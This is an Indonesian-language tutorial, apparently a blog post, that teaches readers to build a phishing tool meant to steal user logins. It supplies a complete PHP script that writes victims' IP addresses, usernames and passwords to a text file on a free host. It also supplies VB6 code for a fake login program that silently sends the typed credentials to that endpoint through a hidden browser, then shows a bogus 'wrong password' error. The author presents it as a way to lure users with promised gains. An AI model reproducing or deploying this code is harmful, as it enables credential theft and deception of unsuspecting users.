Pada posting kali ini saya akan mengajarkan tentang Phising program ini akan memberitahu apa yang di ketikan
di textbox dan IP'y program ini biasa dijadikan para hacker untuk memancing user yang tergiur akan keuntungn yang diberian program ini
misalnya si hacker membuat ini untuk ngehack token padahal program ini akan ngehack id user'y hahaha
untuk membuat program ini kalian membutuhkan hosting kalau saya pake 1freehosting.com OK seperti biasa langsung praktek
masuk ke hosting kalian lalu ke Filemanager lalu buat file dengan mengklik new File
setelah itu masukan kode berikut
<?php
$datum=date('d-m-Y / h:i:s a');
$email = $_GET[e];
$password = $_GET[p];
$ip = getenv ('REMOTE_ADDR');
$fl = fopen('Terserahkalian.txt', 'a');
fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");
fclose($fl);
$ref = $_SERVER['HTTP_REFERER'];
header("location: $ref");
?>
lalu simpan dengan nama terserah.php
lalu buka VB6
Dan siapkan form dan module, form diberi nama frmUtama dan module diberi nama modConnect
lalu Masukan kode ini di modconnect =
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4
Const INTERNET_CONNECTION_MODEM_BUSY = 8
'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function
lalu di frmUtama masukan 2 textbox, 1 command button dan 1 label
textbox pertama diberinama : txtUname
textbox kedua diberinama : txtPass
command button diberi nama : cmdLogin
command button diberi caption : &Login
label diberi nama : LBLInfo
masukan kode ini kedalam form
Private Sub Form_Load()
lblInfo.Caption = "Memeriksa Koneksi Internet"
If CekInternet = False Then
lblInfo.Caption = "Maaf, Kmputer anda tidak terkoneksi ke internet"
Else
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
Me.Caption = "DI SINI CAPTION'Y"
End If
End Sub
nah setelah itu klik 2x cmdLogin yg telah diberi caption Login tadi, dan masukan kode ini
Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text
If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Sedang Login ..."
Set IE = CreateObject("InternetExplorer.Application")
IE.Visible = 0
IE.Navigate "http://DomainKalin/NamaFile.php?e=" & _
user & "&p=" & pass
Do While IE.Busy
Sleep 200 'sleep terserah kalian
Loop
IE.Quit
Set IE = Nothing
lblInfo.Caption = "Username/Password Salah !"
MsgBox "Username/Password Salah !", vbExclamation, "Error"
End If
Jangan lupa edit tulisan yang berwarna
untuk melihat hasil nanti file PHP tadi akan membuat fi txt yang di berinama di file PHP tadi
atau dengan cara
http://domainkamu.com/file.txt/
Sumber :
Hacker Newbie
